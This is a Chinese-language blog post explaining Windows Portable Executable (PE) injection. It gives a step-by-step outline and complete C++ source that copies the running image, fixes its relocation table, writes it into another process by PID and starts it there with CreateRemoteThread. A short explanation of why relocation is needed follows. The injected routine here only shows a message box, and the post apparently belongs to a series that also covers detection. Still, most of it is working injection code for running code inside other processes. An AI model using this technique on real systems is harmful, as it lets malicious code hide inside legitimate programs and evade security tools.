首页 > 系统相关 >进程注入之Portable Executable Injection,PE注入的核心是创建远程线程,注意重定位表修复

进程注入之Portable Executable Injection,PE注入的核心是创建远程线程,注意重定位表修复

时间:2023-09-21 12:23:47浏览次数:38  
标签:Executable Portable 映像 PTR 地址 PE DWORD relocationTable 注入

 

PE(Portable Executable)注入是一种常见的代码注入技术,主要用于在目标进程中执行恶意代码。以下是PE注入的基本流程:

1. 获取当前PE映像的基地址:使用GetModuleHandle(NULL)函数获取当前PE映像(即要注入的代码)的基地址。

2. 复制PE映像:使用VirtualAlloc函数在当前进程中分配一块新的内存,然后使用memcpy函数将当前PE映像复制到新分配的内存中。

3. 打开目标进程:使用OpenProcess函数打开目标进程。目标进程是我们要注入代码的进程。

4. 在目标进程中分配内存:使用VirtualAllocEx函数在目标进程中分配一块新的内存。这块内存用于存放我们要注入的代码。

5. 计算基地址的偏移量:计算新分配的内存(在目标进程中)和当前PE映像的基地址之间的偏移量。

6. 重定位PE映像:根据计算出的偏移量,修改PE映像中的所有相对虚拟地址(RVA)。这一步是必要的,因为PE映像中的代码和数据通常都是基于相对虚拟地址的。

7. 将PE映像写入目标进程:使用WriteProcessMemory函数将重定位后的PE映像写入到目标进程的内存中。

8. 在目标进程中执行PE映像:使用CreateRemoteThread函数在目标进程中创建一个新线程,然后在新线程中执行PE映像的入口点函数。

以上就是PE注入的基本流程。需要注意的是,PE注入通常需要管理员权限,因为它需要打开其他进程并在其中执行代码。此外,PE注入也可能被防病毒软件检测到,因为它是一种常见的恶意代码注入技术。

 

#include <stdio.h>
#include <Windows.h>

typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

DWORD InjectionEntryPoint()
{
	CHAR moduleName[128] = "";
	GetModuleFileNameA(NULL, moduleName, sizeof(moduleName));
	MessageBoxA(NULL, moduleName, "Obligatory PE Injection", NULL);
	return 0;
}

int main()
{
	int pid = 14940;
	// Get current image's base address
	PVOID imageBase = GetModuleHandle(NULL);
	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew);

	// Allocate a new memory block and copy the current PE image to this new memory block
	PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
	memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);

	// Open the target process - this is process we will be injecting this PE into
	HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, pid);

	// Allote a new memory block in the target process. This is where we will be injecting this PE
	PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// Calculate delta between addresses of where the image will be located in the target process and where it's located currently
	DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;

	// Relocate localImage, to ensure that it will have correct addresses once its in the target process
	PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
	DWORD relocationEntriesCount = 0;
	PDWORD_PTR patchedAddress;
	PBASE_RELOCATION_ENTRY relocationRVA = NULL;

	while (relocationTable->SizeOfBlock > 0)
	{
		relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
		relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);

		for (short i = 0; i < relocationEntriesCount; i++)
		{
			if (relocationRVA[i].Offset)
			{
				patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
				*patchedAddress += deltaImageBase;
			}
		}
		relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
	}

	// Write the relocated localImage into the target process
	WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL);

	// Start the injected PE inside the target process
	CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint + deltaImageBase), NULL, 0, NULL);

	return 0;
}

  

 

 

为什么需要重定位PE映像?

PE映像需要重定位是因为PE映像中的代码和数据通常都是基于相对虚拟地址(RVA)的。当PE映像被加载到不同的地址时,这些相对虚拟地址就会变得无效。因此,我们需要根据新的基地址重新计算这些相对虚拟地址,这个过程就叫做重定位。

具体的做法是,首先计算新旧基地址之间的偏移量,然后修改PE映像中的所有相对虚拟地址。这些相对虚拟地址通常存储在PE映像的重定位表中。

在你的代码中,重定位的过程如下:

  // Calculate delta between addresses of where the image will be located in the target process and where it's located currently DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;   // Relocate localImage, to ensure that it will have correct addresses once its in the target process PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); DWORD relocationEntriesCount = 0; PDWORD_PTR patchedAddress; PBASE_RELOCATION_ENTRY relocationRVA = NULL;   while (relocationTable->SizeOfBlock > 0) {     relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);     relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);       for (short i = 0; i < relocationEntriesCount; i++)     {         if (relocationRVA[i].Offset)         {             patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);             *patchedAddress += deltaImageBase;         }     }     relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock); }  

这段代码首先计算了新旧基地址之间的偏移量deltaImageBase,然后遍历了PE映像的重定位表relocationTable,对每个需要重定位的地址进行了修正。修正的方法是将原来的地址加上偏移量deltaImageBase。这样,当PE映像被加载到新的地址时,所有的相对虚拟地址都会指向正确的位置。

 

补充:

在PE文件的重定位表中,除了全局变量的地址,还可能包含以下内容:

1. 函数地址:这包括全局函数和静态函数的地址。当PE映像被加载到新的地址时,这些函数的地址也需要进行重定位。

2. 指向数据的指针:这包括全局指针和静态指针。如果这些指针指向的数据在PE映像中,那么当PE映像被加载到新的地址时,这些指针也需要进行重定位。

3. 跳转和调用指令的目标地址:这包括跳转指令(如JMP和JZ)和调用指令(如CALL)的目标地址。当PE映像被加载到新的地址时,这些指令的目标地址也需要进行重定位。

总的来说,重定位表中包含了所有需要在加载时进行重定位的地址。这些地址通常是全局变量、函数、指针和指令的目标地址。

 

因为PE被注入到其他进程中,肯定是要修复重定位表的,因为这些全局变量、函数的地址啥的肯定都变了!这就是重定位PE映像的原因!

 

至于创建远程线程,之前的文章已经讲过了!可以参考,不再赘述。

 

参考:https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes

标签:Executable,Portable,映像,PTR,地址,PE,DWORD,relocationTable,注入
From: https://www.cnblogs.com/bonelee/p/17719649.html

相关文章

  • windows下进程注入的各种技术汇总、代码示例和检测思考
    注入类型                 C++代码实现链接和检测思考         检测优先级           备注PortableExecutableInjection-PE注入 https://www.cnblogs.com/bonelee/p/17719649.html 高 已实现检测,核......
  • Win32编程之函数转发注入DLL(十五)
    一、创建目标DLL文件DLL名称:targetdll.dll头文件(targetdll.h):#pragmaonce__declspec(dllexport)void__stdcallhello();__declspec(dllexport)int__stdcalladd(inta,intb);源文件(targetdll.cpp)#include<stdio.h>#include"targetdll.h"void_......
  • Go每日一库之18:wire(依赖注入)
    简介之前的一篇文章Go每日一库之dig介绍了uber开源的依赖注入框架dig。读了这篇文章后,@overtalk推荐了Google开源的wire工具。所以就有了今天这篇文章,感谢推荐......
  • 依赖注入的方式
    依赖注入的方式在Spring中,有多种方式可以进行依赖注入,以获取所需的对象实例。以下是常用的依赖注入方式:构造函数注入(ConstructorInjection):通过在类的构造函数上使用@Autowired注解或者直接在构造函数上声明依赖对象的参数,容器在创建实例时会自动将依赖对象注入到构造函数中。......
  • 进程注入之ListPlanting——滥用listview控件的消息回调函数
    效果:注入代码到“注册表编辑器”(当然,必须是要有listview这种列表显示才可以执行)  ProcessInjection: ListPlanting Othersub-techniquesofProcessInjection(12)看看官方的介绍Adversariesmayabuselist-viewcontrolstoinjectmaliciouscodeinto......
  • SQL注入
    sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行,从而导致数据泄露,丢失甚至服务器瘫痪。如果代码中没有过滤或者过滤不严谨是会出现漏洞的。   判断注入and 1=1 正常and 1=2 错误可......
  • 整理php防注入和XSS攻击通用过滤
    对网站发动XSS攻击的方式有很多种,仅仅使用php的一些内置过滤函数是对付不了的,即使你将filter_var,mysql_real_escape_string,htmlentities,htmlspecialchars,strip_tags这些函数都使用上了也不一定能保证绝对的安全。那么如何预防XSS注入?主要还是需要在用户数据过滤方面得考虑......
  • 【逆向专题】【危!!!刑】(一)使用c#+Win32Api实现进程注入到wechat
    引言自从上篇使用Flaui实现微信自动化之后,这段时间便一直在瞎研究微信这方面,目前破解了Window微信的本地的Sqlite数据库,使用Openssl,以及Win32Api来获取解密密钥,今天作为第一张,先简单写一下,获取微信的一些静态数据,以及将自己写的c语言dll通过Api注入到微信进程里面去,最后......
  • 线程劫持-进程注入C++示例和检测思考
    线程劫持:运行方法C:\Users\l00379637\source\repos\thread_hijack\x64\Release\thread_hijack.exe18132C:\Users\l00379637\source\repos\injected_dll\x64\Release\injected_dll.dllProcessID:18132Injected!劫持效果: 劫持代码如下:#include<iostream......
  • SQL Server备份/还原 SQL注入
    SQL还原目标数据库 注:不能在目标数据库会话中执行alterdatabasetestsetsingle_userwithrollbackimmediate--(这里也可以延迟几秒回滚你的操作)restoredatabasetestfromdisk='d:\test.bak'alterdatabasetestsetmulti_user无意中看到的,有意思的SQL注入:--完整备份......